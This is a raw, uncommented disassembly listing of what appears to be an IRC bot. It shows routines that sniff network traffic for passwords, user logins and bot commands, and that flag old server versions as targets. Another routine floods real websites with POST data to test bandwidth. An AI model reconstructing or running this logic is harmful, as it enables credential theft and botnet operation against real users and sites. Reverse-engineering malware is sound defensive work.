pop ecx
jnz short loc_4256F9
push offset aMain_1 ; "[MAIN]:"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4256F9
push offset aScan ; "[SCAN]:"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4256F9
push offset aFtp_0 ; "[FTP]:"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz loc_4256F9
push offset aTftp_0 ; "[TFTP]:"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz loc_4256F9
push offset aKeylogger ; "[KEYLOGGER]:"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz loc_4256F9
push offset aVnc ; "[VNC]:"
push esi
call sub_42ADD0
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
pop esi
retn
sub_4256BD endp
; =============== S U B R O U T I N E =======================================
sub_4257C9 proc near ; CODE XREF: sub_425A1B:loc_425C6Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aLtlec18us5q0 ; "LTLec18US5q0"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_4257E3
loc_4257DF: ; CODE XREF: sub_4257C9+29j
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4257E3: ; CODE XREF: sub_4257C9+14j
push offset dword_443F04
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4257DF
push offset dword_443EF4
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_42580A
loc_425805: ; CODE XREF: sub_4257C9+50j
; sub_4257C9+61j ...
xor eax, eax
pop esi
inc eax
retn
; ---------------------------------------------------------------------------
loc_42580A: ; CODE XREF: sub_4257C9+3Aj
push offset aPass_0 ; "PASS "
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_425805
push offset aIrcOperator ; "IRC Operator"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_425805
push offset aNowANetworkAdm ; "now a network administrator"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_425805
push offset aPrivmsg ; "PRIVMSG"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_425805
push offset aJoin ; "JOIN"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_425805
push offset aOper ; "OPER"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_425805
push offset aPong ; "PONG"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_425805
push offset aPing ; "PING"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz loc_425805
push offset aUserhost ; "USERHOST"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz loc_425805
push offset aNotice ; "NOTICE"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz loc_425805
push offset aTopic_0 ; "TOPIC"
push esi
call sub_42ADD0
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
pop esi
retn
sub_4257C9 endp
; =============== S U B R O U T I N E =======================================
sub_4258D5 proc near ; CODE XREF: sub_425A1B:loc_425C98p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset dword_443F04
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_4258EF
loc_4258EB: ; CODE XREF: sub_4258D5+29j
; sub_4258D5+3Aj ...
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4258EF: ; CODE XREF: sub_4258D5+14j
push offset dword_443EF4
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4258EB
push offset off_4506BC
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4258EB
push offset aMail ; "Mail"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4258EB
push offset aUser_1 ; "USER "
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_425938
xor eax, eax
pop esi
inc eax
retn
; ---------------------------------------------------------------------------
loc_425938: ; CODE XREF: sub_4258D5+5Cj
push offset aPass_0 ; "PASS "
push esi
call sub_42ADD0
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
pop esi
retn
sub_4258D5 endp
; =============== S U B R O U T I N E =======================================
sub_42594D proc near ; CODE XREF: sub_425A1B:loc_425CC2p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset dword_443F04
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_425967
loc_425963: ; CODE XREF: sub_42594D+29j
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_425967: ; CODE XREF: sub_42594D+14j
push offset dword_443EF4
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_425963
push offset a_bot ; "_BOT"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_42598E
xor eax, eax
pop esi
inc eax
retn
; ---------------------------------------------------------------------------
loc_42598E: ; CODE XREF: sub_42594D+3Aj
push offset a_bot_login ; "_BOT_LOGIN"
push esi
call sub_42ADD0
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
pop esi
retn
sub_42594D endp
; =============== S U B R O U T I N E =======================================
sub_4259A3 proc near ; CODE XREF: sub_425A1B:loc_425CECp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset dword_443F04
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_4259BD
loc_4259B9: ; CODE XREF: sub_4259A3+29j
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4259BD: ; CODE XREF: sub_4259A3+14j
push offset dword_443EF4
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4259B9
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_4259E4
loc_4259DF: ; CODE XREF: sub_4259A3+50j
; sub_4259A3+61j
xor eax, eax
pop esi
inc eax
retn
; ---------------------------------------------------------------------------
loc_4259E4: ; CODE XREF: sub_4259A3+3Aj
push offset aApache1_3 ; "Apache/1.3"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4259DF
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4259DF
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_42ADD0
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
pop esi
retn
sub_4259A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425A1B proc near ; DATA XREF: sub_40A938+FFCo
var_4FC = byte ptr -4FCh
var_4FB = byte ptr -4FBh
var_3FC = byte ptr -3FCh
var_3F3 = byte ptr -3F3h
var_3F0 = dword ptr -3F0h
var_3EC = dword ptr -3ECh
var_3E8 = dword ptr -3E8h
var_3D4 = byte ptr -3D4h
var_1FC = byte ptr -1FCh
var_17C = byte ptr -17Ch
var_FC = dword ptr -0FCh
var_F8 = byte ptr -0F8h
var_78 = dword ptr -78h
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4FCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 31h
mov esi, eax
pop ecx
lea edi, [ebp+var_FC]
rep movsd
xor esi, esi
push 3Fh
inc esi
xor ebx, ebx
mov [eax+0BCh], esi
mov eax, [ebp+var_FC]
mov [ebp+arg_0], eax
pop ecx
xor eax, eax
lea edi, [ebp+var_4FB]
mov [ebp+var_4FC], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_4FC]
mov [ebp+var_24], 2
push eax
mov [ebp+var_22], bx
mov [ebp+var_20], ebx
call dword_456F2C ; gethostname
lea eax, [ebp+var_4FC]
push eax
call dword_456FB4 ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_10]
push eax
call sub_429350
mov eax, [ebp+var_10]
add esp, 0Ch
mov [ebp+var_20], eax
push ebx
push 3
push 2
call dword_456FB0 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jnz short loc_425ACD
push [ebp+var_78]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
loc_425ACD: ; CODE XREF: sub_425A1B+A0j
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call dword_456F4C ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_425AF6
push edi
call dword_456FD0 ; closesocket
push [ebp+var_78]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
loc_425AF6: ; CODE XREF: sub_425A1B+C2j
push ebx
lea eax, [ebp+var_28]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_14]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_14], esi
call dword_456EA0 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_425B2F
push edi
call dword_456FD0 ; closesocket
push [ebp+var_78]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
loc_425B2F: ; CODE XREF: sub_425A1B+FBj
mov ecx, [ebp+arg_0]
call sub_41DA92
push eax
lea eax, [ebp+var_38]
push eax
call dword_4370A4 ; lstrcpyA
mov ecx, [ebp+arg_0]
call sub_41DA9A
test al, al
jz loc_425D36
mov esi, offset aS_5 ; "%s"
loc_425B57: ; CODE XREF: sub_425A1B+315j
mov edi, 200h
lea eax, [ebp+var_3FC]
push edi
push ebx
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_3FC]
push ebx
push edi
push eax
push [ebp+var_C]
call dword_456F38 ; recv
cmp [ebp+var_3F3], 6
jnz loc_425D26
push [ebp+var_3E8]
call dword_456E10 ; ntohs
push [ebp+var_3E8+2]
movzx edi, ax
call dword_456E10 ; ntohs
push [ebp+var_3F0]
movzx eax, ax
mov [ebp+var_4], eax
call sub_4256AE
add esp, 4
push dword ptr [eax]
call dword_456FBC ; inet_ntoa
push eax
lea eax, [ebp+var_17C]
push esi
push eax
call sub_429A33
push [ebp+var_3EC]
call sub_4256AE
add esp, 10h
push dword ptr [eax]
call dword_456FBC ; inet_ntoa
push eax
lea eax, [ebp+var_1FC]
push esi
push eax
call sub_429A33
lea eax, [ebp+var_3D4]
mov [ebp+var_8], ebx
push eax
call sub_4292D0
add esp, 10h
test eax, eax
jbe short loc_425C3A
loc_425C0B: ; CODE XREF: sub_425A1B+21Dj
mov eax, [ebp+var_8]
lea eax, [ebp+eax+var_3D4]
cmp byte ptr [eax], 0Dh
jnz short loc_425C1D
mov byte ptr [eax], 20h
loc_425C1D: ; CODE XREF: sub_425A1B+1FDj
cmp byte ptr [eax], 0Ah
jnz short loc_425C25
mov byte ptr [eax], 20h
loc_425C25: ; CODE XREF: sub_425A1B+205j
inc [ebp+var_8]
lea eax, [ebp+var_3D4]
push eax
call sub_4292D0
cmp [ebp+var_8], eax
pop ecx
jb short loc_425C0B
loc_425C3A: ; CODE XREF: sub_425A1B+1EEj
lea eax, [ebp+var_3D4]
push eax
call sub_4256BD
test eax, eax
pop ecx
lea eax, [ebp+var_3D4]
push eax
jz short loc_425C6E
push [ebp+var_4]
lea eax, [ebp+var_1FC]
push eax
lea eax, [ebp+var_17C]
push edi
push eax
push offset unk_4507A0
jmp loc_425D14
; ---------------------------------------------------------------------------
loc_425C6E: ; CODE XREF: sub_425A1B+235j
call sub_4257C9
test eax, eax
pop ecx
lea eax, [ebp+var_3D4]
push eax
jz short loc_425C98
push [ebp+var_4]
lea eax, [ebp+var_1FC]
push eax
lea eax, [ebp+var_17C]
push edi
push eax
push offset unk_45077C
jmp short loc_425D14
; ---------------------------------------------------------------------------
loc_425C98: ; CODE XREF: sub_425A1B+262j
call sub_4258D5
test eax, eax
pop ecx
lea eax, [ebp+var_3D4]
push eax
jz short loc_425CC2
push [ebp+var_4]
lea eax, [ebp+var_1FC]
push eax
lea eax, [ebp+var_17C]
push edi
push eax
push offset unk_450758
jmp short loc_425D14
; ---------------------------------------------------------------------------
loc_425CC2: ; CODE XREF: sub_425A1B+28Cj
call sub_42594D
test eax, eax
pop ecx
lea eax, [ebp+var_3D4]
push eax
jz short loc_425CEC
push [ebp+var_4]
lea eax, [ebp+var_1FC]
push eax
lea eax, [ebp+var_17C]
push edi
push eax
push offset unk_450734
jmp short loc_425D14
; ---------------------------------------------------------------------------
loc_425CEC: ; CODE XREF: sub_425A1B+2B6j
call sub_4259A3
test eax, eax
pop ecx
jz short loc_425D26
lea eax, [ebp+var_3D4]
push eax
lea eax, [ebp+var_1FC]
push [ebp+var_4]
push eax
lea eax, [ebp+var_17C]
push edi
push eax
push offset dword_450710
loc_425D14: ; CODE XREF: sub_425A1B+24Ej
; sub_425A1B+27Bj ...
lea eax, [ebp+var_F8]
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 20h
loc_425D26: ; CODE XREF: sub_425A1B+16Bj
; sub_425A1B+2D9j
mov ecx, [ebp+arg_0]
call sub_41DA9A
test al, al
jnz loc_425B57
loc_425D36: ; CODE XREF: sub_425A1B+131j
push [ebp+var_C]
call dword_456FD0 ; closesocket
push [ebp+var_78]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
sub_425A1B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425D4F proc near ; CODE XREF: sub_425F31+168p
; sub_425F31+182p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_4292D0
cmp eax, 9Fh
pop ecx
ja loc_425F2D
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_429690
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_41E326
add esp, 10h
cmp eax, 0FFFFFFFFh
mov [ebp+var_24], eax
jz loc_425F2D
push 50h
call dword_456F18 ; ntohs
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_456FB0 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_425F2D
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_456E9C ; connect
cmp eax, 0FFFFFFFFh
jz loc_425F2D
push 32003h
call sub_4296E8
mov ebx, dword_437184
mov edi, eax
pop ecx
mov [ebp+var_10], edi
call ebx ; dword_437184
push eax
call sub_429ABF
call sub_429ACC
cdq
mov ecx, 0FFh
mov [esp+38h+var_38], 32001h
idiv ecx
push 0
push edi
movsx esi, dl
call sub_429690
push 32000h
push esi
push edi
call sub_429690
push edi
call sub_4292D0
push 323EAh
mov [ebp+var_8], eax
call sub_4296E8
push [ebp+var_8]
mov esi, eax
push [ebp+arg_0]
push offset aPostHttp1_1Hos ; "POST / HTTP/1.1\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_429A33
add esp, 30h
push edi
mov edi, dword_437090
push esi
call edi ; dword_437090
push offset asc_4476B0 ; "\r\n"
push esi
call edi ; dword_437090
push esi
call sub_4292D0
mov edi, eax
pop ecx
mov [ebp+var_8], edi
call ebx ; dword_437184
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test edi, edi
mov [ebp+arg_0], eax
jbe short loc_425EAB
mov [ebp+var_C], edi
mov edi, 400h
jmp short loc_425E7B
; ---------------------------------------------------------------------------
loc_425E78: ; CODE XREF: sub_425D4F+15Aj
mov eax, [ebp+arg_0]
loc_425E7B: ; CODE XREF: sub_425D4F+127j
mov ecx, [ebp+var_8]
push 0
sub ecx, eax
add eax, esi
cmp ecx, edi
jnb short loc_425E8D
push [ebp+var_C]
jmp short loc_425E8E
; ---------------------------------------------------------------------------
loc_425E8D: ; CODE XREF: sub_425D4F+137j
push edi
loc_425E8E: ; CODE XREF: sub_425D4F+13Cj
push eax
push [ebp+var_4]
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz short loc_425F14
add [ebp+arg_0], edi
sub [ebp+var_C], edi
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jb short loc_425E78
loc_425EAB: ; CODE XREF: sub_425D4F+11Dj
call ebx ; dword_437184
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_437354
fst [ebp+arg_0]
fcomp flt_437350
fnstsw ax
test ah, 44h
jp short loc_425ED5
fld1
fstp [ebp+arg_0]
loc_425ED5: ; CODE XREF: sub_425D4F+17Fj
push [ebp+var_4]
call dword_456FD0 ; closesocket
push [ebp+var_10]
call sub_429822
push esi
call sub_429822
mov eax, [ebp+var_8]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_43734C
fmul flt_437348
call sub_42A910
loc_425F0F: ; CODE XREF: sub_425D4F+1E0j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_425F14: ; CODE XREF: sub_425D4F+14Cj
push [ebp+var_4]
call dword_456FD0 ; closesocket
push [ebp+var_10]
call sub_429822
push esi
call sub_429822
pop ecx
pop ecx
loc_425F2D: ; CODE XREF: sub_425D4F+17j
; sub_425D4F+41j ...
xor eax, eax
jmp short loc_425F0F
sub_425D4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425F31 proc near ; DATA XREF: sub_40A938+166Co
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 26h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
mov dword ptr [eax+94h], 1
mov eax, [ebp+var_134]
mov [ebp+arg_0], eax
mov [ebp+var_4], 3
mov [ebp+var_9C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_98], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_94], offset aWww_news_nl ; "www.news.nl"
mov [ebp+var_90], offset aWww_volkskrant ; "www.volkskrant.nl"
mov [ebp+var_8C], offset aVerio_fr ; "verio.fr"
mov [ebp+var_88], offset aWww_univAngers ; "www.univ-angers.fr"
mov [ebp+var_84], offset aWww_uniTuebing ; "www.uni-tuebingen.de"
mov [ebp+var_80], offset aWww_rollingsto ; "www.rollingstone.de"
mov [ebp+var_7C], offset aWww_rtv_de ; "www.rtv.de"
mov [ebp+var_78], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_74], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_70], offset aWww_hon_ch ; "www.hon.ch"
mov [ebp+var_6C], offset aWww_epfl_ch ; "www.epfl.ch"
mov [ebp+var_68], offset aWww_supergames ; "www.supergames.cz"
mov [ebp+var_64], offset aWww_nintendoEu ; "www.nintendo-europe.com"
mov [ebp+var_60], offset aWww_google_com ; "www.google.com"
mov [ebp+var_5C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_58], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_54], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_50], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_4C], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_48], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_44], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_40], offset aWww_above_net ; "www.above.net"
mov [ebp+var_3C], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_38], offset aWww_apple_com ; "www.apple.com"
mov [ebp+var_34], offset aWww_nintendo_c ; "www.nintendo.com"
mov [ebp+var_30], offset aGamearena_com_ ; "gamearena.com.au"
mov [ebp+var_2C], offset aWww_conexim_co ; "www.conexim.com.au"
mov [ebp+var_28], offset aUnimelb_edu_au ; "unimelb.edu.au"
mov [ebp+var_24], offset aWww_umin_ac_jp ; "www.umin.ac.jp"
mov [ebp+var_20], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_1C], offset aWww_nthu_edu_t ; "www.nthu.edu.tw"
mov [ebp+var_18], offset aWww_nintendo_0 ; "www.nintendo.co.jp"
mov [ebp+var_14], offset aWww_seikoWatch ; "www.seiko-watch.co.jp"
mov [ebp+var_10], offset aWww_bandai_co_ ; "www.bandai.co.jp"
mov [ebp+var_C], offset aWww_pku_edu_cn ; "www.pku.edu.cn"
mov [ebp+var_8], offset aWww_kaist_ac_k ; "www.kaist.ac.kr"
call sub_429ACC
push 0Fh
xor edx, edx
pop ecx
div ecx
push [ebp+edx*4+var_9C]
call sub_425D4F
mov esi, eax
call sub_429ACC
push 0Fh
xor edx, edx
pop ecx
div ecx
push [ebp+edx*4+var_9C]
call sub_425D4F
pop ecx
test esi, esi
pop ecx
jz short loc_4260CD
test eax, eax
jz short loc_4260C9
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_4260CF
; ---------------------------------------------------------------------------
loc_4260C9: ; CODE XREF: sub_425F31+18Fj
mov ebx, esi
jmp short loc_4260CF
; ---------------------------------------------------------------------------
loc_4260CD: ; CODE XREF: sub_425F31+18Bj
mov ebx, eax
loc_4260CF: ; CODE XREF: sub_425F31+196j
; sub_425F31+19Aj
call sub_429ACC
push 0Ch
xor edx, edx
pop ecx
div ecx
push [ebp+edx*4+var_60]
call sub_425D4F
mov edi, eax
call sub_429ACC
push 0Ch
xor edx, edx
pop ecx
div ecx
push [ebp+edx*4+var_60]
call sub_425D4F
pop ecx
test edi, edi
pop ecx
jz short loc_426110
test eax, eax
jz short loc_42610C
lea esi, [eax+edi]
shr esi, 1
jmp short loc_426112
; ---------------------------------------------------------------------------
loc_42610C: ; CODE XREF: sub_425F31+1D2j
mov esi, edi
jmp short loc_426112
; ---------------------------------------------------------------------------
loc_426110: ; CODE XREF: sub_425F31+1CEj
mov esi, eax
loc_426112: ; CODE XREF: sub_425F31+1D9j
; sub_425F31+1DDj
call sub_429ACC
push 0Bh
xor edx, edx
pop ecx
div ecx
push [ebp+edx*4+var_30]
call sub_425D4F
mov edi, eax
call sub_429ACC
push 0Bh
xor edx, edx
pop ecx
div ecx
push [ebp+edx*4+var_30]
call sub_425D4F
pop ecx
test edi, edi
pop ecx
jz short loc_426153
test eax, eax
jz short loc_42614F
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_426155
; ---------------------------------------------------------------------------
loc_42614F: ; CODE XREF: sub_425F31+215j
mov ecx, edi
jmp short loc_426155
; ---------------------------------------------------------------------------
loc_426153: ; CODE XREF: sub_425F31+211j
mov ecx, eax
loc_426155: ; CODE XREF: sub_425F31+21Cj
; sub_425F31+220j
test ebx, ebx
jnz short loc_42616A
test esi, esi
jnz short loc_42616A
test ecx, ecx
jnz short loc_42616A
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_42616A: ; CODE XREF: sub_425F31+226j
; sub_425F31+22Aj ...
xor eax, eax
test ebx, ebx
jz short loc_426177
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_42617A
; ---------------------------------------------------------------------------
loc_426177: ; CODE XREF: sub_425F31+23Dj
push 2
pop edi
loc_42617A: ; CODE XREF: sub_425F31+244j
test esi, esi
jz short loc_426182
add eax, esi
jmp short loc_426183
; ---------------------------------------------------------------------------
loc_426182: ; CODE XREF: sub_425F31+24Bj
dec edi
loc_426183: ; CODE XREF: sub_425F31+24Fj
test ecx, ecx
jz short loc_42618B
add eax, ecx
jmp short loc_42618C
; ---------------------------------------------------------------------------
loc_42618B: ; CODE XREF: sub_425F31+254j
dec edi
loc_42618C: ; CODE XREF: sub_425F31+258j
xor edx, edx
div edi
cmp [ebp+var_AC], 0
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_130]
push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
push offset aSEuropeDKbitSU ; "%s ~ Europe[%d kbit/s] ~ USA[%d kbit/s]"...
push eax
push [ebp+arg_0]
jnz short loc_4261B8
call sub_41CD84
jmp short loc_4261BD
; ---------------------------------------------------------------------------
loc_4261B8: ; CODE XREF: sub_425F31+27Ej
call sub_41CD0E
loc_4261BD: ; CODE XREF: sub_425F31+285j
add esp, 20h
push [ebp+var_B0]
call sub_42355A
pop ecx
push 0
call dword_437170 ; ExitThread
sub_425F31 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4261D4 proc near ; CODE XREF: sub_420399+46Cp
; sub_426402+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_456FB0 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_426250
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_429690
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_456F18 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_456F5C ; inet_addr
cmp eax, esi
jnz short loc_426235
push [ebp+arg_0]
call dword_456FB4 ; gethostbyname
test eax, eax
jz short loc_426250
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_426235: ; CODE XREF: sub_4261D4+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_456E9C ; connect
cmp eax, esi
jnz short loc_426254
push edi
call dword_456FD0 ; closesocket
loc_426250: ; CODE XREF: sub_4261D4+1Bj
; sub_4261D4+58j
mov eax, esi
jmp short loc_426256
; ---------------------------------------------------------------------------
loc_426254: ; CODE XREF: sub_4261D4+73j
mov eax, edi
loc_426256: ; CODE XREF: sub_4261D4+7Ej
pop edi
pop esi
leave
retn
sub_4261D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42625A proc near ; CODE XREF: sub_40A938+3C9Ap
; sub_40A938+3CA7p
var_40 = byte ptr -40h
var_36 = byte ptr -36h
push ebp
mov ebp, esp
sub esp, 40h
push ebx
push esi
push edi
push 0C8h
mov ebx, offset byte_6607E0
push 0
push ebx
call sub_429690
push 10h
mov esi, offset a0123456789abcd ; "0123456789ABCDEFGHIJKLMNOPQRSTUVWXWYZab"...
pop ecx
lea edi, [ebp+var_40]
lea eax, [ebp+var_40]
rep movsd
push eax
call sub_4292D0
add esp, 10h
mov edi, eax
xor esi, esi
loc_426292: ; CODE XREF: sub_42625A+62j
call sub_429ACC
test esi, esi
cdq
jz short loc_4262AA
idiv edi
mov al, [ebp+edx+var_40]
mov byte_6607E0[esi], al
jmp short loc_4262B8
; ---------------------------------------------------------------------------
loc_4262AA: ; CODE XREF: sub_42625A+40j
lea ecx, [edi-0Ah]
idiv ecx
mov al, [ebp+edx+var_36]
mov byte_6607E0, al
loc_4262B8: ; CODE XREF: sub_42625A+4Ej
inc esi
cmp esi, 67h
jl short loc_426292
pop edi
mov eax, ebx
pop esi
pop ebx
leave
retn
sub_42625A endp
; =============== S U B R O U T I N E =======================================
sub_4262C5 proc near ; CODE XREF: sub_40A938+2BE2p
; sub_40A938+2C90p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_440D78 ; "\n"
push edi
call sub_42A510
pop ecx
mov esi, offset dword_6608AC
pop ecx
loc_4262DD: ; CODE XREF: sub_4262C5+42j
cmp dword ptr [esi-4], 1
jnz short loc_4262FB
cmp dword ptr [esi], 0
jbe short loc_4262FB
push 0
push edi
call sub_4292D0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_456F6C ; send
loc_4262FB: ; CODE XREF: sub_4262C5+1Cj
; sub_4262C5+21j
add esi, 410h
cmp esi, offset dword_66D3CC
jl short loc_4262DD
pop edi
pop esi
retn
